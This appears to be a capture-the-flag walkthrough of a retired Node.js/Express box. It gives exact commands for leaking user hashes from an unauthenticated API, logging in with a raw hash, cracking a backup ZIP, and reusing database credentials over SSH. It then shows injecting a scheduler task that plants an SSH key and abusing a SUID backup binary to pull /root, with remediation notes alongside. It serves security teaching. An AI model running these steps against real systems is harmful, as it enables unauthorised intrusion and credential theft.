Node
Summary
The target Node.js/Express application on port 3000 exposed an unauthenticated REST endpoint that returned every user's account document, including the administrator's SHA-256 password hash. Submitting that leaked hash verbatim as the password field exploited a broken server-side comparison that expected a pre-hashed value, granting an admin session without any offline cracking. The admin session unlocked a backup download endpoint that returned a password-protected ZIP of the entire web root; John the Ripper recovered the archive password, and the extracted source file app.js contained a hardcoded MongoDB connection string whose password was reused verbatim as mark's Linux SSH credential.
From mark's shell, a root-owned MongoDB-backed task scheduler at /var/scheduler dequeued job documents inserted by any authenticated database user and executed their payload via child_process.exec; mark's database credentials granted write access to the scheduler collection, enabling injection of a task that planted my SSH public key in tom's home directory and yielded user.txt. As tom, membership in the admin group gave access to a setuid-root backup binary; invoking it with the backup key extracted from app.js archived /root, and decoding the resulting ZIP produced root.txt, completing full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD4="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"
export KEY="<the-key-you-recovered>"Attack path — how the box was taken
Exact commands 2
Version scan against both exposed ports to confirm software and version.
$ nmap -sV -p 22,3000 --script http-title $TARGETFingerprint the web application and surface any API route hints in page source or JavaScript.
$ curl -s -i http://$TARGET:3000/Exact commands 2
Retrieve and pretty-print all user records including password hashes.
$ curl -s http://$TARGET:3000/api/users/ | python3 -m json.toolCheck the /latest variant for recently registered accounts.
$ curl -s http://$TARGET:3000/api/users/latest | python3 -m json.toolFixRequire authentication on all API endpoints that return user dataCritical
Exact commands 1
Submit the leaked SHA-256 hash verbatim as the password value; save the resulting admin session cookie.
$ curl -s -c cookies.txt -X POST http://$TARGET:3000/api/session/authenticate -H 'Content-Type: application/json' -d '{"username":"myP14ceAdm1nAcc0uNT","password":"'"$HASH"'"}'FixReplace SHA-256 password comparison with a proper adaptive hashing libraryCritical
Exact commands 4
Download the backup blob using the admin session cookie and decode it to a ZIP file.
$ curl -s -b cookies.txt http://$TARGET:3000/api/admin/backup | base64 -d > b.zipExtract the ZIP password hash and crack it; yields <withheld>.
$ zip2john b.zip > b.hash && john b.hash --wordlist=/usr/share/wordlists/rockyou.txtExtract the web root source tree into var/www/myplace/.
$ unzip -P $PASSWORD4 b.zipLocate the hardcoded MongoDB connection string and backup key in the extracted source.
$ grep -nE 'mongodb|backup_key|password' var/www/myplace/app.jsFixRemove hardcoded credentials from source code and exclude secrets from backup archivesCritical
Exact commands 2
Log in with the MongoDB password reused as the OS password and confirm mark's limited access.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null mark@$TARGET 'id; whoami; hostname; ls -la /home/tom/user.txt'
uid=1001(mark) gid=1001(mark) groups=1001(mark)From the mark shell, inspect the scheduler service to understand the privilege-escalation path.
$ cat /var/scheduler/app.jsFixEnforce unique passwords and disable SSH password authenticationHigh
Exact commands 3
Generate my keypair; the public key content goes into the task command below.
$ ssh-keygen -t rsa -b 2048 -N '' -f /tmp/tomkeyInsert the key-installation task as mark; replace <TOMKEY_PUB> with the public key from /tmp/tomkey.pub. Wait 30-60 seconds for the scheduler to dequeue and execute it.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no mark@$TARGET "node -e 'var MC=require(\"mongodb\").MongoClient;MC.connect(\"mongodb://$USERNAME:$PASSWORD@localhost:27017/scheduler\",function(e,db){db.collection(\"tasks\").insert({cmd:\"mkdir -p /home/tom/.ssh && echo <TOMKEY_PUB> >> /home/tom/.ssh/authorized_keys && chmod 700 /home/tom/.ssh && chmod 600 /home/tom/.ssh/authorized_keys\"},function(e,r){console.log(\"inserted\");db.close()})});'"Log in as tom using the planted key and capture user.txt; output: <user.txt>
$ ssh -i /tmp/tomkey -o StrictHostKeyChecking=no tom@$TARGET 'id; cat /home/tom/user.txt'FixRestrict write access to the scheduler database and run the scheduler as a least-privilege accountCritical
Exact commands 3
Run as tom — confirm admin group membership and locate the SUID backup binary.
$ id && find / -perm -4000 -user root 2>/dev/null | xargs ls -la 2>/dev/null | grep adminInvoke the SUID binary as tom (admin group access) targeting /root; decode the base64 output to a ZIP.
$ /usr/local/bin/backup -q $KEY /root | base64 -d > /tmp/root_backup.zipExfiltrate the archive, extract with the cracked ZIP password, and read root.txt; output: <root.txt>
$ scp -i /tmp/tomkey -o StrictHostKeyChecking=no tom@$TARGET:/tmp/root_backup.zip . && unzip -P $PASSWORD4 root_backup.zip && cat root/root.txtFixRemove the SUID bit from the backup binary and store the backup key in a secrets managerHigh
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) |
| 3000/tcp | http Node.js Express framework |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.